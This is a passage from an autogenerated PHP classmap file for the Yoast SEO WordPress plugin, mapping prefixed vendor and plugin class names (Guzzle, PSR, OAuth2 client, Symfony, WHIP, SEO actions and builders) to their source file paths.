    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Exception\\MalformedUriException' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Exception/MalformedUriException.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\FnStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/FnStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Header' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Header.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\HttpFactory' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/HttpFactory.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\InflateStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/InflateStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\LazyOpenStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/LazyOpenStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\LimitStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/LimitStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Message' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Message.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\MessageTrait' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/MessageTrait.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\MimeType' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/MimeType.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\MultipartStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/MultipartStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\NoSeekStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/NoSeekStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\PumpStream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/PumpStream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Query' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Query.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Request' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Request.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Response' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Response.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Rfc7230' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Rfc7230.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\ServerRequest' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/ServerRequest.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Stream' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Stream.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\StreamDecoratorTrait' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/StreamDecoratorTrait.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\StreamWrapper' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/StreamWrapper.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UploadedFile' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/UploadedFile.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Uri' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Uri.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UriComparator' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/UriComparator.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UriNormalizer' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/UriNormalizer.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\UriResolver' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/UriResolver.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Psr7\\Utils' => $baseDir . '/vendor_prefixed/guzzlehttp/psr7/src/Utils.php',
    'YoastSEO_Vendor\\GuzzleHttp\\RedirectMiddleware' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/RedirectMiddleware.php',
    'YoastSEO_Vendor\\GuzzleHttp\\RequestOptions' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/RequestOptions.php',
    'YoastSEO_Vendor\\GuzzleHttp\\RetryMiddleware' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/RetryMiddleware.php',
    'YoastSEO_Vendor\\GuzzleHttp\\TransferStats' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/TransferStats.php',
    'YoastSEO_Vendor\\GuzzleHttp\\Utils' => $baseDir . '/vendor_prefixed/guzzlehttp/guzzle/src/Utils.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\AbstractGrant' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Grant/AbstractGrant.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\AuthorizationCode' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Grant/AuthorizationCode.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\ClientCredentials' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Grant/ClientCredentials.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\Exception\\InvalidGrantException' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Grant/Exception/InvalidGrantException.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\GrantFactory' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Grant/GrantFactory.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\Password' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Grant/Password.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\RefreshToken' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Grant/RefreshToken.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\OptionProvider\\HttpBasicAuthOptionProvider' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/OptionProvider/HttpBasicAuthOptionProvider.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\OptionProvider\\OptionProviderInterface' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/OptionProvider/OptionProviderInterface.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\OptionProvider\\PostAuthOptionProvider' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/OptionProvider/PostAuthOptionProvider.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\AbstractProvider' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Provider/AbstractProvider.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\Exception\\IdentityProviderException' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Provider/Exception/IdentityProviderException.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\GenericProvider' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Provider/GenericProvider.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\GenericResourceOwner' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Provider/GenericResourceOwner.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Provider\\ResourceOwnerInterface' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Provider/ResourceOwnerInterface.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Token\\AccessToken' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Token/AccessToken.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Token\\AccessTokenInterface' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Token/AccessTokenInterface.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Token\\ResourceOwnerAccessTokenInterface' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Token/ResourceOwnerAccessTokenInterface.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\ArrayAccessorTrait' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/ArrayAccessorTrait.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\BearerAuthorizationTrait' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/BearerAuthorizationTrait.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\GuardedPropertyTrait' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/GuardedPropertyTrait.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\MacAuthorizationTrait' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/MacAuthorizationTrait.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\ProviderRedirectTrait' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/ProviderRedirectTrait.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\QueryBuilderTrait' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/QueryBuilderTrait.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\RequestFactory' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/RequestFactory.php',
    'YoastSEO_Vendor\\League\\OAuth2\\Client\\Tool\\RequiredParameterTrait' => $baseDir . '/vendor_prefixed/league/oauth2-client/src/Tool/RequiredParameterTrait.php',
    'YoastSEO_Vendor\\Psr\\Container\\ContainerExceptionInterface' => $baseDir . '/vendor_prefixed/psr/container/src/ContainerExceptionInterface.php',
    'YoastSEO_Vendor\\Psr\\Container\\ContainerInterface' => $baseDir . '/vendor_prefixed/psr/container/src/ContainerInterface.php',
    'YoastSEO_Vendor\\Psr\\Container\\NotFoundExceptionInterface' => $baseDir . '/vendor_prefixed/psr/container/src/NotFoundExceptionInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Client\\ClientExceptionInterface' => $baseDir . '/vendor_prefixed/psr/http-client/src/ClientExceptionInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Client\\ClientInterface' => $baseDir . '/vendor_prefixed/psr/http-client/src/ClientInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Client\\NetworkExceptionInterface' => $baseDir . '/vendor_prefixed/psr/http-client/src/NetworkExceptionInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Client\\RequestExceptionInterface' => $baseDir . '/vendor_prefixed/psr/http-client/src/RequestExceptionInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\MessageInterface' => $baseDir . '/vendor_prefixed/psr/http-message/src/MessageInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\RequestFactoryInterface' => $baseDir . '/vendor_prefixed/psr/http-factory/src/RequestFactoryInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\RequestInterface' => $baseDir . '/vendor_prefixed/psr/http-message/src/RequestInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\ResponseFactoryInterface' => $baseDir . '/vendor_prefixed/psr/http-factory/src/ResponseFactoryInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\ResponseInterface' => $baseDir . '/vendor_prefixed/psr/http-message/src/ResponseInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\ServerRequestFactoryInterface' => $baseDir . '/vendor_prefixed/psr/http-factory/src/ServerRequestFactoryInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\ServerRequestInterface' => $baseDir . '/vendor_prefixed/psr/http-message/src/ServerRequestInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\StreamFactoryInterface' => $baseDir . '/vendor_prefixed/psr/http-factory/src/StreamFactoryInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\StreamInterface' => $baseDir . '/vendor_prefixed/psr/http-message/src/StreamInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\UploadedFileFactoryInterface' => $baseDir . '/vendor_prefixed/psr/http-factory/src/UploadedFileFactoryInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\UploadedFileInterface' => $baseDir . '/vendor_prefixed/psr/http-message/src/UploadedFileInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\UriFactoryInterface' => $baseDir . '/vendor_prefixed/psr/http-factory/src/UriFactoryInterface.php',
    'YoastSEO_Vendor\\Psr\\Http\\Message\\UriInterface' => $baseDir . '/vendor_prefixed/psr/http-message/src/UriInterface.php',
    'YoastSEO_Vendor\\Psr\\Log\\AbstractLogger' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/AbstractLogger.php',
    'YoastSEO_Vendor\\Psr\\Log\\InvalidArgumentException' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/InvalidArgumentException.php',
    'YoastSEO_Vendor\\Psr\\Log\\LogLevel' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/LogLevel.php',
    'YoastSEO_Vendor\\Psr\\Log\\LoggerAwareInterface' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/LoggerAwareInterface.php',
    'YoastSEO_Vendor\\Psr\\Log\\LoggerAwareTrait' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/LoggerAwareTrait.php',
    'YoastSEO_Vendor\\Psr\\Log\\LoggerInterface' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/LoggerInterface.php',
    'YoastSEO_Vendor\\Psr\\Log\\LoggerTrait' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/LoggerTrait.php',
    'YoastSEO_Vendor\\Psr\\Log\\NullLogger' => $baseDir . '/vendor_prefixed/psr/log/Psr/Log/NullLogger.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Argument\\RewindableGenerator' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Argument/RewindableGenerator.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Container' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Container.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/ContainerInterface.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\EnvNotFoundException' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/EnvNotFoundException.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ExceptionInterface' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/ExceptionInterface.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\InvalidArgumentException' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/InvalidArgumentException.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\LogicException' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/LogicException.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ParameterCircularReferenceException' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/ParameterCircularReferenceException.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\RuntimeException' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/RuntimeException.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ServiceCircularReferenceException' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/ServiceCircularReferenceException.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\Exception\\ServiceNotFoundException' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/Exception/ServiceNotFoundException.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\EnvPlaceholderParameterBag' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/EnvPlaceholderParameterBag.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\FrozenParameterBag' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/FrozenParameterBag.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\ParameterBag' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/ParameterBag.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ParameterBag\\ParameterBagInterface' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/ParameterBag/ParameterBagInterface.php',
    'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ResettableContainerInterface' => $baseDir . '/vendor_prefixed/symfony/dependency-injection/ResettableContainerInterface.php',
    'Yoast\\WHIPv2\\Configuration' => $vendorDir . '/yoast/whip/src/Configuration.php',
    'Yoast\\WHIPv2\\Exceptions\\EmptyProperty' => $vendorDir . '/yoast/whip/src/Exceptions/EmptyProperty.php',
    'Yoast\\WHIPv2\\Exceptions\\InvalidOperatorType' => $vendorDir . '/yoast/whip/src/Exceptions/InvalidOperatorType.php',
    'Yoast\\WHIPv2\\Exceptions\\InvalidType' => $vendorDir . '/yoast/whip/src/Exceptions/InvalidType.php',
    'Yoast\\WHIPv2\\Exceptions\\InvalidVersionComparisonString' => $vendorDir . '/yoast/whip/src/Exceptions/InvalidVersionComparisonString.php',
    'Yoast\\WHIPv2\\Host' => $vendorDir . '/yoast/whip/src/Host.php',
    'Yoast\\WHIPv2\\Interfaces\\DismissStorage' => $vendorDir . '/yoast/whip/src/Interfaces/DismissStorage.php',
    'Yoast\\WHIPv2\\Interfaces\\Listener' => $vendorDir . '/yoast/whip/src/Interfaces/Listener.php',
    'Yoast\\WHIPv2\\Interfaces\\Message' => $vendorDir . '/yoast/whip/src/Interfaces/Message.php',
    'Yoast\\WHIPv2\\Interfaces\\MessagePresenter' => $vendorDir . '/yoast/whip/src/Interfaces/MessagePresenter.php',
    'Yoast\\WHIPv2\\Interfaces\\Requirement' => $vendorDir . '/yoast/whip/src/Interfaces/Requirement.php',
    'Yoast\\WHIPv2\\Interfaces\\VersionDetector' => $vendorDir . '/yoast/whip/src/Interfaces/VersionDetector.php',
    'Yoast\\WHIPv2\\MessageDismisser' => $vendorDir . '/yoast/whip/src/MessageDismisser.php',
    'Yoast\\WHIPv2\\MessageFormatter' => $vendorDir . '/yoast/whip/src/MessageFormatter.php',
    'Yoast\\WHIPv2\\MessagesManager' => $vendorDir . '/yoast/whip/src/MessagesManager.php',
    'Yoast\\WHIPv2\\Messages\\BasicMessage' => $vendorDir . '/yoast/whip/src/Messages/BasicMessage.php',
    'Yoast\\WHIPv2\\Messages\\HostMessage' => $vendorDir . '/yoast/whip/src/Messages/HostMessage.php',
    'Yoast\\WHIPv2\\Messages\\InvalidVersionRequirementMessage' => $vendorDir . '/yoast/whip/src/Messages/InvalidVersionRequirementMessage.php',
    'Yoast\\WHIPv2\\Messages\\NullMessage' => $vendorDir . '/yoast/whip/src/Messages/NullMessage.php',
    'Yoast\\WHIPv2\\Messages\\UpgradePhpMessage' => $vendorDir . '/yoast/whip/src/Messages/UpgradePhpMessage.php',
    'Yoast\\WHIPv2\\Presenters\\WPMessagePresenter' => $vendorDir . '/yoast/whip/src/Presenters/WPMessagePresenter.php',
    'Yoast\\WHIPv2\\RequirementsChecker' => $vendorDir . '/yoast/whip/src/RequirementsChecker.php',
    'Yoast\\WHIPv2\\VersionRequirement' => $vendorDir . '/yoast/whip/src/VersionRequirement.php',
    'Yoast\\WHIPv2\\WPDismissOption' => $vendorDir . '/yoast/whip/src/WPDismissOption.php',
    'Yoast\\WHIPv2\\WPMessageDismissListener' => $vendorDir . '/yoast/whip/src/WPMessageDismissListener.php',
    'Yoast\\WP\\Lib\\Abstract_Main' => $baseDir . '/lib/abstract-main.php',
    'Yoast\\WP\\Lib\\Dependency_Injection\\Container_Registry' => $baseDir . '/lib/dependency-injection/container-registry.php',
    'Yoast\\WP\\Lib\\Migrations\\Adapter' => $baseDir . '/lib/migrations/adapter.php',
    'Yoast\\WP\\Lib\\Migrations\\Column' => $baseDir . '/lib/migrations/column.php',
    'Yoast\\WP\\Lib\\Migrations\\Constants' => $baseDir . '/lib/migrations/constants.php',
    'Yoast\\WP\\Lib\\Migrations\\Migration' => $baseDir . '/lib/migrations/migration.php',
    'Yoast\\WP\\Lib\\Migrations\\Table' => $baseDir . '/lib/migrations/table.php',
    'Yoast\\WP\\Lib\\Model' => $baseDir . '/lib/model.php',
    'Yoast\\WP\\Lib\\ORM' => $baseDir . '/lib/orm.php',
    'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action' => $baseDir . '/src/actions/addon-installation/addon-activate-action.php',
    'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action' => $baseDir . '/src/actions/addon-installation/addon-install-action.php',
    'Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action' => $baseDir . '/src/actions/alert-dismissal-action.php',
    'Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action' => $baseDir . '/src/actions/configuration/first-time-configuration-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Abstract_Aioseo_Importing_Action' => $baseDir . '/src/actions/importing/abstract-aioseo-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Abstract_Aioseo_Settings_Importing_Action' => $baseDir . '/src/actions/importing/aioseo/abstract-aioseo-settings-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-cleanup-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-default-archive-settings-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-general-settings-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-posts-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-posttype-defaults-settings-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-taxonomy-settings-importing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action' => $baseDir . '/src/actions/importing/aioseo/aioseo-validate-data-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action' => $baseDir . '/src/actions/importing/deactivate-conflicting-plugins-action.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Importing_Action_Interface' => $baseDir . '/src/actions/importing/importing-action-interface.php',
    'Yoast\\WP\\SEO\\Actions\\Importing\\Importing_Indexation_Action_Interface' => $baseDir . '/src/actions/importing/importing-indexation-action-interface.php',
    'Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action' => $baseDir . '/src/actions/indexables/indexable-head-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Abstract_Indexing_Action' => $baseDir . '/src/actions/indexing/abstract-indexing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Abstract_Link_Indexing_Action' => $baseDir . '/src/actions/indexing/abstract-link-indexing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action' => $baseDir . '/src/actions/indexing/indexable-general-indexation-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action' => $baseDir . '/src/actions/indexing/indexable-indexing-complete-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action' => $baseDir . '/src/actions/indexing/indexable-post-indexation-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action' => $baseDir . '/src/actions/indexing/indexable-post-type-archive-indexation-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action' => $baseDir . '/src/actions/indexing/indexable-term-indexation-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexation_Action_Interface' => $baseDir . '/src/actions/indexing/indexation-action-interface.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action' => $baseDir . '/src/actions/indexing/indexing-complete-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action' => $baseDir . '/src/actions/indexing/indexing-prepare-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Limited_Indexing_Action_Interface' => $baseDir . '/src/actions/indexing/limited-indexing-action-interface.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action' => $baseDir . '/src/actions/indexing/post-link-indexing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action' => $baseDir . '/src/actions/indexing/term-link-indexing-action.php',
    'Yoast\\WP\\SEO\\Actions\\Integrations_Action' => $baseDir . '/src/actions/integrations-action.php',
    'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action' => $baseDir . '/src/actions/semrush/semrush-login-action.php',
    'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action' => $baseDir . '/src/actions/semrush/semrush-options-action.php',
    'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action' => $baseDir . '/src/actions/semrush/semrush-phrases-action.php',
    'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action' => $baseDir . '/src/actions/wincher/wincher-account-action.php',
    'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action' => $baseDir . '/src/actions/wincher/wincher-keyphrases-action.php',
    'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action' => $baseDir . '/src/actions/wincher/wincher-login-action.php',
    'Yoast\\WP\\SEO\\Analytics\\Application\\Missing_Indexables_Collector' => $baseDir . '/src/analytics/application/missing-indexables-collector.php',
    'Yoast\\WP\\SEO\\Analytics\\Application\\To_Be_Cleaned_Indexables_Collector' => $baseDir . '/src/analytics/application/to-be-cleaned-indexables-collector.php',
    'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Bucket' => $baseDir . '/src/analytics/domain/missing-indexable-bucket.php',
    'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Count' => $baseDir . '/src/analytics/domain/missing-indexable-count.php',
    'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Bucket' => $baseDir . '/src/analytics/domain/to-be-cleaned-indexable-bucket.php',
    'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Count' => $baseDir . '/src/analytics/domain/to-be-cleaned-indexable-count.php',
    'Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration' => $baseDir . '/src/analytics/user-interface/last-completed-indexation-integration.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder' => $baseDir . '/src/builders/indexable-author-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Builder' => $baseDir . '/src/builders/indexable-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder' => $baseDir . '/src/builders/indexable-date-archive-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder' => $baseDir . '/src/builders/indexable-hierarchy-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder' => $baseDir . '/src/builders/indexable-home-page-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder' => $baseDir . '/src/builders/indexable-link-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder' => $baseDir . '/src/builders/indexable-post-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder' => $baseDir . '/src/builders/indexable-post-type-archive-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Social_Image_Trait' => $baseDir . '/src/builders/indexable-social-image-trait.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder' => $baseDir . '/src/builders/indexable-system-page-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder' => $baseDir . '/src/builders/indexable-term-builder.php',
    'Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder' => $baseDir . '/src/builders/primary-term-builder.php',
    'Yoast\\WP\\SEO\\Commands\\Cleanup_Command' => $baseDir . '/src/commands/cleanup-command.php',
    'Yoast\\WP\\SEO\\Commands\\Command_Interface' => $baseDir . '/src/commands/command-interface.php',
    'Yoast\\WP\\SEO\\Commands\\Index_Command' => $baseDir . '/src/commands/index-command.php',
    'Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional' => $baseDir . '/src/conditionals/addon-installation-conditional.php',
